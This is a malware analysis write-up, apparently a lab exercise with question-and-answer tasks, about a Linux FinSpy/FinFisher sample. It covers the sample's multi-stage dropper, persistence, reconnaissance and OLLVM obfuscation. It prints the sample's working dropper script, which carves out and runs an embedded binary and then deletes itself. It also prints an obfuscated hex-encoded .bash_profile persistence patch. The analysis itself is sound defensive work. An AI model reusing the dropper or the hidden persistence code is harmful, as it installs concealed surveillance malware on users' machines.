FinSpy (also known as FinFisher) is commercial surveillance software historically marketed to governments and law enforcement. The Linux sample analysed here is a multi-stage dropper that leans heavily on OLLVM obfuscation to resist static analysis.

SHA256: 1e9162cd0941557304a6a097dfaadf59f90bc8bbaa9879afe67b5ce0d1514be8

Tools: REMnux, Kali, Ghidra, JoeSandbox, VirusTotal, Hybrid-Analysis


Stage 1 — task3.bin: The Dropper Shell Script

task3.bin is a shell script with an embedded ELF payload. It detects the system architecture via od, then carves out the matching binary using grep/tail, drops it as /tmp/udev2, makes it executable, and runs it. The original file then deletes itself.

#!/bin/sh
ELF_MAGIC=7f
arch=`od -j4 -N1 -An -t u1 < /bin/sh | tr -d ' '`
case $arch in
1)
    ARCHIVE=`grep --text --line-number '^__x86xx__$' "$0" | cut -d ':' -f 1` ;;
2)
    ARCHIVE=`grep --text --line-number '^__x64xx__$' "$0" | cut -d ':' -f 1` ;;
*)
    exit 0 ;;
esac
ARCHIVE=$((ARCHIVE+1))
tail -n +$ARCHIVE $0 > /tmp/udev2 && chmod +x /tmp/udev2
if [ -n "$SUDO_USER" ]; then
    su -c /tmp/udev2 $SUDO_USER
else
    /tmp/udev2
fi
if [ "$?" -eq 0 ]; then
    rm -rf "$0"
fi
exit 0
__x86xx__
ELF

The JoeSandbox process tree confirms this:

sh (PID: 5220) → /tmp/task3.bin
  od -j4 -N1 -An -t u1           ← probe architecture
  grep ^__x64xx__$ /tmp/task3.bin ← locate payload boundary
  cut -d : -f 1
tail -n +10905 /tmp/task3.bin     ← carve out ELF
chmod +x /tmp/udev2

Stage 2 — udev2: Installer

udev2 drops the actual malware components and sets up persistence. Files dropped:

  • hald — the main launcher (ELF)
  • Multiple .so files — presumed plugin modules
  • Multiple .dat files — presumed per-module config or extensions

All files land in a hidden directory named .saturnino in the user’s home directory, created by udev2.

udev2 process tree showing dropped files including hald ELF, .bash_profile, .so and .dat files

Persistence is achieved by patching .bash_profile to relaunch the malware on login. The patch is obfuscated — paths are hex-encoded inline and decoded at runtime using sed, awk, and dc:

if [ ! -n "$CS_FONT" ]; then
  CS_FONT_RID="2F686F6D652F73617475726E696E6F2F2E71742F2E62696E"
  CS_FONT_ID="2E2F68616C64"
  CS_FONT_COL="6364"
  CS_FONT_COLF=`echo ${CS_FONT_COL} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'`
  CS_FONT_SID=`echo ${CS_FONT_RID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'`
  CS_FONT_LOAD=`echo ${CS_FONT_ID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'`
  ...
  ${CS_FONT_COLF} ${CS_FONT_SID} && ${CS_FONT_LOAD} > /dev/null 2>&1
fi

Decoded, the variables resolve to:

  • CS_FONT_RID/home/saturnino/.qt/.bin
  • CS_FONT_ID./hald
  • CS_FONT_COLcd

So the persistence mechanism is: cd /home/saturnino/.qt/.bin && ./hald.


Stage 3 — hald: Launcher

hald is the main launcher and the most interesting component. Its process tree is large — it runs a significant amount of reconnaissance:

  • Reads various system parameters
  • Queries status of wireless interfaces and technologies
  • Searches for local tools that could enable WiFi attacks

hald process tree showing reconnaissance commands including network interface probing and system enumeration

hald also drops three additional .so modules into .saturnino:

  • wbcm.so
  • mcli.so
  • gtkx.so

Obfuscation

Ghidra immediately flags something is wrong:

/* WARNING: Control flow encountered bad instruction data */
/* WARNING: Instruction at (ram,0x00403f6b) overlaps instruction at (ram,0x00403f6a) */

The binary was compiled with clang version 3.5.0 based on LLVM 3.5.0svn using the OLLVM obfuscation pass. The technique used is Bogus Control Flow:

This method modifies a function call graph by adding a basic block before the current basic block. This new basic block contains an opaque predicate and then makes a conditional jump to the original basic block. The original basic block is also cloned and filled up with junk instructions chosen at random.

obfuscator-llvm: Bogus Control Flow

The effect: the control flow graph becomes so tangled that Ghidra’s decompiler can’t reconstruct anything useful. Control flow flattening also appears to be present but couldn’t be conclusively confirmed.

This same OLLVM pass is applied to the shell scripts embedded in the binary — even at the scripting layer, the control flow is deliberately disrupted.


Anti-Analysis

Virtual Machine Detection

hald checks whether it’s running inside a VM using:

  • CPUID instruction
  • lspci
  • dmesg

Suspicious File Activity

The malware interacts with an unusually high number of files with specific flag combinations, likely as an anti-debug measure. From the sandbox file activity log:

File activity log showing close-on-exec, directory, and non-block flags on system paths

File opened entry showing detailed access flags and large inode numbers

FinSpy VM

Research on this malware repeatedly references the concept of a “FinSpy VM” — a custom obfuscated virtual machine that the malware constructs at runtime to further protect its real code. This could not be confirmed through static analysis of these samples, but it would explain why static analysis proves so difficult. If the binary self-decrypts or reconstructs malicious code at runtime, patching and executing may be the only way to expose it.

Relevant research:


Summary — Key Questions Q&A

Q1 — Extract the 64-bit dropper from task3.bin. How does this stage work?

A — task3.bin is a polyglot: a shell script with an embedded ELF appended after a marker line (__x64xx__). The script probes the CPU architecture, locates the correct marker with grep, and carves out the ELF using tail. It runs the dropped binary, then deletes itself.

Q2 — Analyze the dropper. How does it extract more files (including the launcher)?

A — udev2 creates the hidden .saturnino directory, drops hald and a set of .so / .dat module files, and patches .bash_profile with an obfuscated launch command that runs hald on every login.

Q3 — Analyze the launcher. How does it launch the malware’s main modules?

A — hald runs reconnaissance and loads plugin modules (wbcm.so, mcli.so, gtkx.so) from the hidden directory. The exact loading mechanism couldn’t be fully traced due to obfuscation.

Q4 — Which anti-debug tricks do you find in the launcher? How do they work?

A — VM detection via CPUID, lspci, and dmesg. Unusually high file I/O activity also hints at additional anti-debug behaviour. The OLLVM obfuscation itself is the biggest obstacle — the junk instructions and bogus control flow prevent the decompiler from producing anything meaningful.

Q5 — What kind of code obfuscation techniques do you find in the launcher?

A — OLLVM Bogus Control Flow and likely Control Flow Flattening, compiled with clang 3.5.0/LLVM 3.5.0svn. Applied to both native code and embedded shell scripts.

Q6 — What might the obfuscation hide? Argue from the context.

A — Most likely a decryption or self-restoration engine. The architecture (dropper → launcher → plugins) and the OLLVM obfuscation strongly suggest the actual malicious code is protected and restored at runtime — consistent with the “FinSpy VM” model described in the research above. C&C communication routines and capability modules are also plausible candidates. Patching the binary and tracing execution dynamically would be the next step.